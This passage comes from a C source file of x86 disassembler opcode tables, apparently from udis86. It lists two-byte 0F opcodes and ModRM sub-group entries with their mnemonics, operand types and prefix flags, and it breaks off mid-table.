UD_Imovups, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 11 */ { UD_Imovups, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 12 */ { UD_Imovlps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 13 */ { UD_Imovlps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 14 */ { UD_Iunpcklps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 15 */ { UD_Iunpckhps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 16 */ { UD_Imovhps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 17 */ { UD_Imovhps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 18 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_18__REG },\n /* 19 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1A */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1B */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1C */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1D */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1E */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 1F */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 20 */ { UD_Imov, O_R, O_C, O_NONE, P_rexr },\n /* 21 */ { UD_Imov, O_R, O_D, O_NONE, P_rexr },\n /* 22 */ { UD_Imov, O_C, O_R, O_NONE, P_rexr },\n /* 23 */ { UD_Imov, O_D, O_R, O_NONE, P_rexr },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Imovaps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 29 */ { UD_Imovaps, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2A */ { UD_Icvtpi2ps, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2B */ { UD_Imovntps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2C */ { UD_Icvttps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2D */ { UD_Icvtps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2E */ { UD_Iucomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2F */ { UD_Icomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 30 */ { UD_Iwrmsr, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Irdtsc, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Irdmsr, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Irdpmc, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* 35 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 40 */ { UD_Icmovo, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 41 */ { UD_Icmovno, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 42 */ { UD_Icmovb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 43 */ { UD_Icmovae, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 44 */ { UD_Icmovz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 45 */ { UD_Icmovnz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 46 */ { UD_Icmovbe, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 47 */ { UD_Icmova, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 48 */ { UD_Icmovs, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 49 */ { UD_Icmovns, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4A */ { UD_Icmovp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4B */ { UD_Icmovnp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4C */ { UD_Icmovl, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4D */ { UD_Icmovge, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4E */ { UD_Icmovle, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 4F */ { UD_Icmovg, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 50 */ { UD_Imovmskps, O_Gd, O_VR, O_NONE, P_oso|P_rexr|P_rexb },\n /* 51 */ { UD_Isqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 52 */ { UD_Irsqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 53 */ { UD_Ircpps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 54 */ { UD_Iandps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 55 */ { UD_Iandnps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 56 */ { UD_Iorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 57 */ { UD_Ixorps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 58 */ { UD_Iaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 59 */ { UD_Imulps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5A */ { UD_Icvtps2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5B */ { UD_Icvtdq2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5C */ { UD_Isubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5D */ { UD_Iminps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5E */ { UD_Idivps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5F */ { UD_Imaxps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 60 */ { UD_Ipunpcklbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 61 */ { UD_Ipunpcklwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 62 */ { UD_Ipunpckldq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 63 */ { UD_Ipacksswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 64 */ { UD_Ipcmpgtb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 65 */ { UD_Ipcmpgtw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 66 */ { UD_Ipcmpgtd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 67 */ { UD_Ipackuswb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 68 */ { UD_Ipunpckhbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 69 */ { UD_Ipunpckhwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6A */ { UD_Ipunpckhdq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6B */ { UD_Ipackssdw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6E */ { UD_Imovd, O_P, O_Ex, O_NONE, P_c2|P_aso|P_rexr|P_rexx|P_rexb },\n /* 6F */ { UD_Imovq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 70 */ { UD_Ipshufw, O_P, O_Q, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* 71 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_71__REG },\n /* 72 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_72__REG },\n /* 73 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_73__REG },\n /* 74 */ { UD_Ipcmpeqb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 75 */ { UD_Ipcmpeqw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 76 */ { UD_Ipcmpeqd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 77 */ { UD_Iemms, O_NONE, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7E */ { UD_Imovd, O_Ex, O_P, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 7F */ { UD_Imovq, O_Q, O_P, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 80 */ { UD_Ijo, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 81 */ { UD_Ijno, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 82 */ { UD_Ijb, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 83 */ { UD_Ijae, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 84 */ { UD_Ijz, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 85 */ { UD_Ijnz, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 86 */ { UD_Ijbe, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 87 */ { UD_Ija, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 88 */ { UD_Ijs, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 89 */ { UD_Ijns, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8A */ { UD_Ijp, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8B */ { UD_Ijnp, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8C */ { UD_Ijl, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8D */ { UD_Ijge, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8E */ { UD_Ijle, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 8F */ { UD_Ijg, O_Jz, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_oso },\n /* 90 */ { UD_Iseto, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 91 */ { UD_Isetno, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 92 */ { UD_Isetb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 93 */ { UD_Isetnb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 94 */ { UD_Isetz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 95 */ { UD_Isetnz, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 96 */ { UD_Isetbe, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 97 */ { UD_Iseta, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 98 */ { UD_Isets, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 99 */ { UD_Isetns, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9A */ { UD_Isetp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9B */ { UD_Isetnp, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9C */ { UD_Isetl, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9D */ { UD_Isetge, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9E */ { UD_Isetle, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 9F */ { UD_Isetg, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* A0 */ { UD_Ipush, O_FS, O_NONE, O_NONE, P_none },\n /* A1 */ { UD_Ipop, O_FS, O_NONE, O_NONE, P_none },\n /* A2 */ { UD_Icpuid, O_NONE, O_NONE, O_NONE, P_none },\n /* A3 */ { UD_Ibt, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* A4 */ { UD_Ishld, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* A5 */ { UD_Ishld, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A8 */ { UD_Ipush, O_GS, O_NONE, O_NONE, P_none },\n /* A9 */ { UD_Ipop, O_GS, O_NONE, O_NONE, P_none },\n /* AA */ { UD_Irsm, O_NONE, O_NONE, O_NONE, P_none },\n /* AB */ { UD_Ibts, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* AC */ { UD_Ishrd, O_Ev, O_Gv, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* AD */ { UD_Ishrd, O_Ev, O_Gv, O_CL, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* AE */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG },\n /* AF */ { UD_Iimul, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B0 */ { UD_Icmpxchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* B1 */ { UD_Icmpxchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B2 */ { UD_Ilss, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B3 */ { UD_Ibtr, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B4 */ { UD_Ilfs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B5 */ { UD_Ilgs, O_Gz, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B6 */ { UD_Imovzx, O_Gv, O_Eb, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B7 */ { UD_Imovzx, O_Gv, O_Ew, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BA */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_BA__REG },\n /* BB */ { UD_Ibtc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* BC */ { UD_Ibsf, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* BD */ { UD_Ibsr, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* BE */ { UD_Imovsx, O_Gv, O_Eb, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* BF */ { UD_Imovsx, O_Gv, O_Ew, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C2 */ { UD_Icmpps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C3 */ { UD_Imovnti, O_M, O_Gvw, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C4 */ { UD_Ipinsrw, O_P, O_Ew, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C5 */ { UD_Ipextrw, O_Gd, O_PR, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C6 */ { UD_Ishufps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG },\n /* C8 */ { UD_Ibswap, O_rAXr8, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* C9 */ { UD_Ibswap, O_rCXr9, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CA */ { UD_Ibswap, O_rDXr10, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CB */ { UD_Ibswap, O_rBXr11, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CC */ { UD_Ibswap, O_rSPr12, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CD */ { UD_Ibswap, O_rBPr13, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CE */ { UD_Ibswap, O_rSIr14, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* CF */ { UD_Ibswap, O_rDIr15, O_NONE, O_NONE, P_oso|P_rexw|P_rexb },\n /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D1 */ { UD_Ipsrlw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D2 */ { UD_Ipsrld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D3 */ { UD_Ipsrlq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D4 */ { UD_Ipaddq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D5 */ { UD_Ipmullw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D7 */ { UD_Ipmovmskb, O_Gd, O_PR, O_NONE, P_oso|P_rexr|P_rexb },\n /* D8 */ { UD_Ipsubusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* D9 */ { UD_Ipsubusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DA */ { UD_Ipminub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DB */ { UD_Ipand, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DC */ { UD_Ipaddusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DD */ { UD_Ipaddusw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DE */ { UD_Ipmaxub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* DF */ { UD_Ipandn, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E0 */ { UD_Ipavgb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E1 */ { UD_Ipsraw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E2 */ { UD_Ipsrad, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E3 */ { UD_Ipavgw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E4 */ { UD_Ipmulhuw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E5 */ { UD_Ipmulhw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E7 */ { UD_Imovntq, O_M, O_P, O_NONE, P_none },\n /* E8 */ { UD_Ipsubsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E9 */ { UD_Ipsubsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EA */ { UD_Ipminsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EB */ { UD_Ipor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EC */ { UD_Ipaddsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* ED */ { UD_Ipaddsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EE */ { UD_Ipmaxsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* EF */ { UD_Ipxor, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F1 */ { UD_Ipsllw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F2 */ { UD_Ipslld, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F3 */ { UD_Ipsllq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F4 */ { UD_Ipmuludq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F5 */ { UD_Ipmaddwd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F6 */ { UD_Ipsadbw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F7 */ { UD_Imaskmovq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F8 */ { UD_Ipsubb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* F9 */ { UD_Ipsubw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FA */ { UD_Ipsubd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FB */ { UD_Ipsubq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FC */ { UD_Ipaddb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FD */ { UD_Ipaddw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_00__reg[8] = {\n /* 00 */ { UD_Isldt, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Istr, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Illdt, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Iltr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iverr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Iverw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg[8] = {\n /* 00 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD },\n /* 01 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_01__MOD },\n /* 02 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_02__MOD },\n /* 03 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD },\n /* 04 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_04__MOD },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_06__MOD },\n /* 07 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_00__mod[2] = {\n /* 00 */ { UD_Isgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM },\n};\n\nstatic struct ud_itab_entry itab__0f__op_01__reg__op_00__mod__op_01__rm[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR },\n /* 04 */ { 